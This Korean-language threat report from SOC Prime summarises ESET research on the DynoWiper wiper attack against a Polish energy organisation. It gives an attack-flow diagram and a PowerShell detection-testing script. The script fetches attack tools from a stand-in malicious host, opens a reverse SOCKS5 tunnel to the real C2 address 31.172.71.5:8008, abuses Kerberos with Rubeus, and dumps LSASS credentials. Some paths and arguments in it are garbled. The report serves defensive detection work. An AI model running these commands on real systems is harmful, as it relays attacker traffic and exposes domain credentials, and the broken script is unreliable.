SOC Prime Bias: 위험

04 2월 2026 18:19

ESET 리서치 DynoWiper 업데이트: 기술 분석 및 귀속

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
ESET 리서치 DynoWiper 업데이트: 기술 분석 및 귀속
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

DynoWiper는 폴란드의 에너지 부문 조직을 대상으로 한 파괴적인 와이퍼로, 운영 전반에 걸쳐 여러 엔드포인트에 영향을 미칩니다. 실행 파일은 네트워크 공유 위치에 위치해 해당 위치에서 직접 실행되었습니다. ESET는 중간 정도의 신뢰도로 이 활동을 Sandworm과 연결합니다. 실행되면 악성코드는 랜덤 바이트로 타겟 파일을 손상시키고 강제 재부팅을 유도하여 영향을 완료합니다.

수사

ESET는 C:inetpubpub에 드롭된 schtask.exe, schtask2.exe, _update.exe 세 가지 샘플을 복구했습니다. 내장된 PDB 경로는 바이너리가 Vagrant 환경에서 컴파일되었음을 시사합니다. 리버스 엔지니어링을 통해 세 단계를 가진 와이핑 루틴이 있는 것으로 나타났으며, 두 가지 변형은 단계를 진행하면서 5초의 대기 시간을 삽입합니다. 침해 이후 아티팩트에는 또한 Kerberos 툴 Rubeus와 피해자 네트워크 내부의 rsocx SOCKS5 프록시가 포함되어 있었습니다.

완화

피해자 시스템에 설치된 ESET PROTECT가 세 가지 변종 모두를 차단하여 피해를 제한했습니다. 노출을 줄이기 위해서는 무단 예약 작업 생성을 방지하고, 공유 디렉터리에 대한 예기치 않은 기록을 모니터링해야 합니다. 애플리케이션 허용 목록을 추가하고 가능한 경우 네트워크 공유에서의 실행을 제한하십시오.

응답

schtask.exe, schtask2.exe 또는 *_update.exe를 공유에서 실행하는 호스트를 식별하고 격리하십시오. 변동성 있는 증거를 보존하고, 예약된 작업 및 PowerShell 배포 흔적을 검토하며, Rubeus 및 rsocx와 같은 도구를 제거하십시오. 전체 포렌식을 완료하고 검증된 클린 백업에서 데이터를 복구하세요.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress[“<b>행동</b> – <b>T1105 침투 도구 전송</b><br/><b>설명</b>: Rubeus.exe 및 rsocx와 같은 추가 도구가 침해된 환경으로 다운로드되었다.”] class action_ingress technique tool_rubeus[“<b>도구</b> – <b>이름</b>: Rubeus.exe<br/><b>설명</b>: Kerberos 자격 증명 탈취 및 악용을 수행한다.”] class tool_rubeus tool tool_rsocx[“<b>도구</b> – <b>이름</b>: rsocx<br/><b>설명</b>: 명령 및 제어 트래픽을 중계하는 SOCKS5 프록시.”] class tool_rsocx tool action_cred_dump[“<b>행동</b> – <b>T1003.001 LSASS 메모리</b><br/><b>설명</b>: 자격 증명을 획득하기 위해 작업 관리자를 통해 LSASS 프로세스 메모리를 덤프하였다.”] class action_cred_dump technique action_powershell[“<b>행동</b> – <b>T1059.001 PowerShell</b><br/><b>설명</b>: 악성 바이너리를 배포하고 후속 작업을 지원하기 위해 PowerShell 스크립트를 실행하였다.”] class action_powershell technique action_cmd[“<b>행동</b> – <b>T1059.003 Windows 명령 셸</b><br/><b>설명</b>: cmd.exe를 사용하여 셸 명령을 실행하고 와이퍼를 조율하였다.”] class action_cmd technique action_gpo_discovery[“<b>행동</b> – <b>T1615 그룹 정책 검색</b><br/><b>설명</b>: 대규모 배포를 준비하기 위해 그룹 정책 개체를 식별하였다.”] class action_gpo_discovery technique action_gpo_modify[“<b>행동</b> – <b>T1484 도메인 또는 테넌트 정책 수정</b><br/><b>설명</b>: DynoWiper 바이너리를 도메인 전체에 배포하기 위해 그룹 정책을 수정하였다.”] class action_gpo_modify technique action_schtask[“<b>행동</b> – <b>T1053 예약 작업</b><br/><b>설명</b>: schtask.exe를 사용하여 와이퍼 실행을 지속시키는 예약 작업을 생성하였다.”] class action_schtask technique action_data_removable[“<b>행동</b> – <b>T1025 이동식 매체의 데이터</b><br/><b>설명</b>: 도구와 와이퍼를 공유 네트워크 디렉터리 C:\\inetpub\\pub\\에 배치하였다.”] class action_data_removable technique action_file_discovery[“<b>행동</b> – <b>T1083 파일 및 디렉터리 검색</b><br/><b>설명</b>: 시스템 폴더를 제외하고 고정 및 이동식 드라이브의 파일과 디렉터리를 열거하였다.”] class action_file_discovery technique action_wipe[“<b>행동</b> – <b>T1561.001 디스크 콘텐츠 삭제</b><br/><b>설명</b>: 파일 내용을 임의의 데이터로 덮어써 데이터를 삭제하거나 손상시켰다.”] class action_wipe technique action_reboot[“<b>행동</b> – <b>T1529 시스템 종료 또는 재부팅</b><br/><b>설명</b>: 파괴를 완료하기 위해 삭제 후 강제 재부팅을 수행하였다.”] class action_reboot technique action_proxy[“<b>행동</b> – <b>T1090.002 외부 프록시</b><br/><b>설명</b>: 명령 및 제어 트래픽을 숨기기 위해 rsocx를 외부 SOCKS5 프록시 31.172.71.5:8008로 구성하였다.”] class action_proxy technique malware_dyno[“<b>악성코드</b> – <b>이름</b>: DynoWiper<br/><b>설명</b>: 데이터를 덮어쓰고 시스템 재부팅을 유발하는 와이퍼 페이로드.”] class malware_dyno malware %% Connections action_ingress –>|다운로드| tool_rubeus action_ingress –>|다운로드| tool_rsocx tool_rubeus –>|가능하게 함| action_cred_dump tool_rsocx –>|제공| action_proxy action_cred_dump –>|자격 증명 제공| action_powershell action_powershell –>|실행| action_cmd action_cmd –>|조율| action_wipe action_gpo_discovery –>|연결됨| action_gpo_modify action_gpo_modify –>|배포| malware_dyno action_schtask –>|작업 생성| malware_dyno action_data_removable –>|저장| tool_rubeus action_data_removable –>|저장| tool_rsocx action_data_removable –>|저장| malware_dyno malware_dyno –>|실행| action_file_discovery malware_dyno –>|실행| action_wipe action_wipe –>|트리거| action_reboot action_proxy –>|트래픽 중계| malware_dyno

공격 흐름

시뮬레이션 실행

전제 조건: Telemetry & Baseline Pre‑flight Check가 통과해야 합니다.

합리적 이유: 이 섹션에서는 탐지 규칙을 활성화하는 적대적 기술(전술, 기술 및 절차)의 정확한 실행을 다룹니다. 명령 및 설명은 식별된 전술, 기술 및 절차와 직접 반영되어야 하며, 탐지 논리가 예상하는 정확한 원격 측정을 생성해야 합니다. 추상적이거나 관련 없는 예는 오진으로 이어질 수 있습니다.

  • 공격 서사 및 명령어:

    1. SOCKS5 프록시 역방향 설정 를 사용하여 rsocx.exe. 적은 외부 서버에서 바이너리를 다운로드하여 %TEMP%에 배치하고 -r 31.172.71.5:8008 인수를 사용하여 C2 호스트로의 역방향 터널을 만듭니다.
    2. Kerberos 티켓 남용 수행 를 사용하여 rubeus.exe. 도구는 도메인 관리자 계정에 대한 Kerberos 티켓 수여 티켓(TGT)을 요청하고 이후 서비스 티켓을 위조하기 위해 실행됩니다 (s4u2self).
    3. LSASS 메모리 덤프 를 사용하여 procdump.exe (작업 관리자에 대한 일반적인 대안)로서 자격 증명 자료를 캡처합니다. Sysmon은 공격자의 procdump.exe 프로세스 접근 이벤트를 기록하며 lsass.exe0x1010 부여된 접근 마스크를 사용하여 접근합니다 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
  • 회귀 테스트 스크립트:

    # -------------------------------------------------------------
    # 시뮬레이션 스크립트 – rsocx, rubeus 및 LSASS 덤프에 대한 Sigma 규칙을 트리거합니다. 관리자 권한으로 실행하세요.
    # -------------------------------------------------------------
    
    # 1. rsocx.exe 배포 (SOCSK5 프록시 역방향)
    $rsocxPath = "$env:TEMPrsocx.exe"
    Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath
    Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden
    
    # 2. rubeus.exe 배포 (Kerberos 남용)
    $rubeusPath = "$env:TEMPrubeus.exe"
    Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath
    Start-Process -FilePath $rubeusPath -ArgumentList "덤프 /서비스:krbtgt" -WindowStyle Hidden
    
    # 3. procdump을 사용한 LSASS 덤프 (Sysinternals 필요)
    $procdumpPath = "$env:TEMPprocdump.exe"
    Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip"
    Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force
    $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1
    if ($procdumpExe) {
        Copy-Item $procdumpExe.FullName $procdumpPath -Force
        Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait
    }
    
    Write-Host "시뮬레이션 완료되었습니다. SIEM에서 경고를 확인하세요."
  • 정리 명령어:

    # 남아 있는 악성 프로세스 종료
    Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # 바이너리 및 덤프 파일 제거
    Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue
    
    # 임시 다운로드 디렉토리를 선택적으로 삭제
    Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "정리 완료."